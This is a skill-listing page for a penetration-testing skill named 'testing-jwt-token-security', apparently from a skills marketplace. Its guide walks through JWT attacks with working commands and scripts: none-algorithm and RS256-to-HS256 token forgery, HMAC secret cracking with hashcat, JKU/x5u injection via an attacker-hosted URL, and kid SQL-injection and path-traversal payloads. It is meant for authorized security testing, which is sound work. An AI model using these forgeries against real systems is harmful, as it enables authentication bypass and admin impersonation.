mcpField
T
testing-jwt-token-security

testing-jwt-token-security

github.com/mukul975安全35.2k542 次安装8 周前更新
代码仓库

关于 testing-jwt-token-security

面向获授权渗透测试人员和安全审计人员的 JWT 安全测试技能,适用于 API、SSO 和微服务认证场景。涵盖令牌结构检查、签名与声明攻击测试,以及有效期和撤销验证。

主要功能

  1. 01解码并检查 JWT 结构
  2. 02测试 none 算法与算法混淆
  3. 03尝试暴力破解 HMAC 密钥
  4. 04测试声明篡改与注入
  5. 05验证令牌有效期和撤销

适用场景

  1. 01评估使用 JWT 的 API 安全性
  2. 02测试 SSO 令牌验证配置
  3. 03审计微服务间的 JWT 认证

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-jwt-token-security

安装后在 Claude Code 中输入/testing-jwt-token-security确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

测试 JWT 令牌安全性

何时使用

  • 在已授权的渗透测试中,当应用程序使用 JWT 进行身份验证或授权时
  • 在评估 API 安全性时,其中 JWT 作为 Bearer 令牌或在 Cookie 中传递
  • 用于评估使用 JWT/JWS/JWE 令牌的 SSO 实现
  • 在测试颁发 JWT 的 OAuth 2.0 或 OpenID Connect 流程时
  • 在使用 JWT 进行服务间身份验证的微服务架构的安全审计期间

前提条件

  • 授权:针对目标的书面渗透测试协议
  • jwt_tool:JWT 攻击工具包(pip install jwt_tool 或 git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional:带有来自 BApp Store 的 JSON Web Token 扩展
  • Python PyJWT:用于编写自定义 JWT 攻击脚本(pip install pyjwt)
  • Hashcat:用于暴力破解 HMAC 密钥(apt install hashcat)
  • jq:用于 JSON 处理
  • 目标 JWT:来自应用程序的有效 JWT 令牌

工作流

步骤 1:解码并分析 JWT 结构

提取并检查头部、负载和签名组件。

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
步骤 2:测试算法 None 攻击

尝试通过将算法设置为 "none" 来伪造令牌。

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done
步骤 3:测试算法混淆(RS256 到 HS256)

如果服务器使用 RS256,尝试切换到 HS256 并使用公钥进行签名。

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"
步骤 4:暴力破解 HMAC 密钥

如果使用 HS256,尝试破解签名密钥。

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
步骤 5:测试 JWT 声明操纵和注入

修改 JWT 声明以提升权限或绕过授权。

# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# Test common claim attacks:

# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL

# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)

# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "[email protected]" \
  -pc role -pv "superadmin"
步骤 6:测试令牌生命周期和撤销

评估令牌过期强制执行和撤销能力。

# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# Test token with far-future expiration
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF

# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout

# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

关键概念

概念描述
算法 None 攻击通过将 alg 设置为 none 来移除签名验证
算法混淆从 RS256 切换到 HS256 并使用公钥作为 HMAC 密钥进行签名
HMAC 暴力破解使用字典或暴力破解来破解弱 HS256 签名密钥
JKU/x5u 注入将 JWT 头部 URL 指向攻击者控制的密钥服务器
KID 注入利用 Key ID 头部参数中的 SQL 注入或路径遍历
声明篡改在获取签名密钥后修改负载声明(role、sub、permissions)
令牌撤销在令牌过期前使其失效的能力(或缺乏能力)
JWE vs JWSJSON Web Encryption(机密性)vs JSON Web Signature(完整性)

工具与系统

工具用途
jwt_tool具有自动化攻击模块的综合 JWT 测试工具包
Burp JWT Editor用于实时 JWT 操纵的 Burp Suite 扩展
HashcatGPU 加速的 HMAC 密钥暴力破解(模式 16500)
John the Ripper基于 CPU 的 JWT 密钥破解
PyJWT用于以编程方式创建和操纵 JWT 的 Python 库
jwt.io用于快速分析的在线 JWT 解码器(不要粘贴生产令牌)

常见场景

场景 1:算法 None 绕过

JWT 库接受 "alg":"none" 令牌,允许任何用户通过简单地移除签名并更改算法头部来伪造管理员令牌。

场景 2:弱 HMAC 密钥

应用程序使用 HS256,并以字典单词作为签名密钥。Hashcat 在几分钟内破解密钥,从而实现完全令牌伪造和管理员冒充。

场景 3:SSO 上的算法混淆

SSO 提供商使用 RS256,但消费者应用程序也接受 HS256。攻击者使用公开可用的 RSA 公钥以 HS256 签名伪造令牌。

场景 4:KID SQL 注入

kid 头部参数用于 SQL 查询中以查找签名密钥。注入 ' UNION SELECT 'attacker_secret' -- 允许攻击者控制签名密钥。

输出格式

## JWT Security Finding

**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures

### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |

### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |

### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)

### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets

评论

支持 Markdown